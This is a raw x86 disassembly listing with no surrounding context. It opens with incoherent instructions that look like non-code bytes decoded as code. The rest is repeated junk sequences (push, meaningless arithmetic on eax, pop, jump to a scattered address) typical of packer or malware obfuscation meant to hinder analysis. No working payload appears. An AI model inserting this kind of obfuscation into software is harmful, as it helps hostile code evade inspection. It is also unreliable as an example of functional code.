fcmove st(0), st(7)
jmp [edx - 0x11f3967c]
jmp 0xaef65cf4
xchg ebp, eax
insd dword es:[edi], dx
dec esp
call 0x3fe399ab
mov dword [edx], ecx
cmp esp, dword [edi + esi*2]
in al, dx
sbb dl, byte [si]
aad 0xce
or ecx, ebp
je 0x44d041
adc eax, 0xed5322b0
std
cld
mov word [edi - 0x423e8757], fs
loopne 0x44d0d9
or ebp, edx
les esp, [eax + 0x3b]
iretd
sub bl, byte [ebx + 0x5ca6ce03]
xchg ecx, eax
invalid
push eax
push 0xfb70
pop eax
add eax, 0xef069
pop eax
jmp 0x44413e
jmp 0x442a30
push eax
push 0x10bea
pop eax
inc eax
sar eax, 0xe9
push 0x10eb2
pop eax
sub eax, 0xcc6d6
add eax, 0xdd174
pop eax
jmp 0x451478
push eax
push 0xfbdc
pop eax
dec eax
pop eax
jmp 0x43d01f
push eax
push 0x176c
pop eax
sub eax, 0xa23b1
sub eax, 0xadcde
sub eax, 0x49d33
push 0x8dac
pop eax
sub eax, 0x138dd
dec eax
sar eax, 0xb0
push 0x1156d
pop eax
inc eax
inc eax
dec eax
pop eax
jmp 0x4502ae
push eax
push 0x3d99
pop eax
sub eax, 0x28716
pop eax
jmp 0x438aed
jmp 0x41d9ce
jmp 0x4984cf
jmp 0x447dc9
push eax
push 0xeb20
pop eax
dec eax
sub eax, 0xda388
shr eax, 0x6a
inc eax
shl eax, 0x86
dec eax
shr eax, 0x3c
push 0xa299
pop eax
sub eax, 0xeb5db
shr eax, 0xb5
shl eax, 0xa2
add eax, 0x2d2db
inc eax
sub eax, 0x3b285
inc eax
push 0xe5b8
pop eax
shr eax, 0xe9
sar eax, 0xbf
shr eax, 0x3f
xor eax, 0x8073a
sub eax, 0xaae6f
xor eax, 0xb998b
sar eax, 0x19
push 0xb3e0
pop eax
sar eax, 0xd3
dec eax
shr eax, 0x90
dec eax
sub eax, 0x3607f
add eax, 0xc36a6
shl eax, 0x9d
push 0x2965
pop eax
add eax, 0xe0556
sar eax, 0xb3
xor eax, 0x863dd
inc eax
sub eax, 0x3f53f
xor eax, 0x9ea30
add eax, 0x773b1
push 0xfea8
pop eax
sub eax, 0x6af37
shl eax, 0xc5
sar eax, 0x8a
sar eax, 0x24
sub eax, 0xfc35
dec eax
sar eax, 0xc3
push 0x11445
pop eax
xor eax, 0x64d9
xor eax, 0xe28cb
xor eax, 0xa6799
dec eax
xor eax, 0xc2c4a
add eax, 0xbc46e
shr eax, 0x1b
pop eax
jmp 0x455478